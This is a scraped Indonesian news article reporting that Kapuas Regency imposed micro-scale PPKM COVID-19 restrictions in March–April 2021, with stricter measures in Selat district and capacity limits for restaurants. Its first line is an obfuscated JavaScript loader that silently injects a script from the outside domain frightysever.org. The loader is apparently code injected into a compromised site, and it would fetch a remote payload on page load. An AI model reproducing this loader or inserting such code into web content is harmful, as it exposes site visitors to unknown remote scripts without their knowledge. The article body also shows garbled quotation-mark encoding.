(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten Kapuas menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) skala mikro. Dimulai 23 Maret 2021 sampai dengan 5 April 2021 mendatang.
Hal itu terungkap dalam Rapat koordinasi (Rakor) tentang PPKM mikro yang dipimpin Bupati Kapuas, Ben Brahim S Bahat bersama unsur Forkopimda, seluruh camat, lurah dan SOPD terkait lainnya, tokoh masyarakat, tokoh agama, pelaku usaha, di aula Bappeda Kapuas, Selasa (23/3/2021).
Ketua Harian Gugas Covid-19 Kapuas, Panahatan Sinaga usai rakor, menyampaikan, dasar pelaksanaan PPKM yaitu Instruksi Menteri Dalam Negeri Republik Indonesia (RI) Nomor 06 Tahun 2021 tentang perpanjangan PPKM berbasis mikro dan mengoptimalkan Posko Penanganan Covid-19 di tingkat desa dan kelurahan untuk pengendalian penyebaran Covid-19. Serta Instruksi Gubernur Kalteng nomor 180.17/24/2021 tanggal 19 Maret 2021 tentang PPKM Berbasis mikro dan pelaksanaan Posko penanganan Covid-19 tingkat desa dan kelurahan di wilayah Provinsi Kalteng.
“Sesuai kesepakatan rapat ini, dan rujukan regulasi lebih tinggi, memang pelaksanaan PPKM itu harus dilaksanakan selama kurun waktu 14 hari,†kata Sinaga.
Lanjut Sinaga, menyampaikan, semua kecamatan melaksanakan PPKM mikro, tetapi dalam pelaksanaannya lebih fokus atau diperketat progresnya di wilayah Kecamatan Selat.
Rapat koordinasi (Rakor) tentang PPKM mikro yang dipimpin Bupati Kapuas, Ben Brahim S Bahat bersama unsur Forkopimda, Selasa (23/3/2021). Foto: ags
“Karena berdasarkan data bahwa Kecamatan Selat ini sudah zona merah, dibanding dengan kecamatan lain,†jelasnya.
Dari hasil rapat itu, lanjut dia, ada output berupa Instruksi Bupati yang hasilnya sudah disepakati dan tinggal disempurnakan untuk disiapkan draft yang akan ditandatangani Bupati.
“PSBB dulukan skala besar, kalau PPKM mikro ini skala mini, lebih kepada penekanan ke desa dan kelurahan,†bebernya.
Pelaksanaannya nanti membatasi pergerakan masyarakat, mengatur kegiatan ekonomi antara lain rumah makan dan sejenisnya bahwa PPKM itu boleh buka, tetapi akan ada pembatasan.
“Misalnya untuk rumah makan dibatasi kapasitas pengunjung yang makan di tempat. Jika sudah sesuai kapasitas ditentukan itu penuh, maka selebihnya bungkus atau take away saja dan tetap mengatur jarak,†terang dia. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.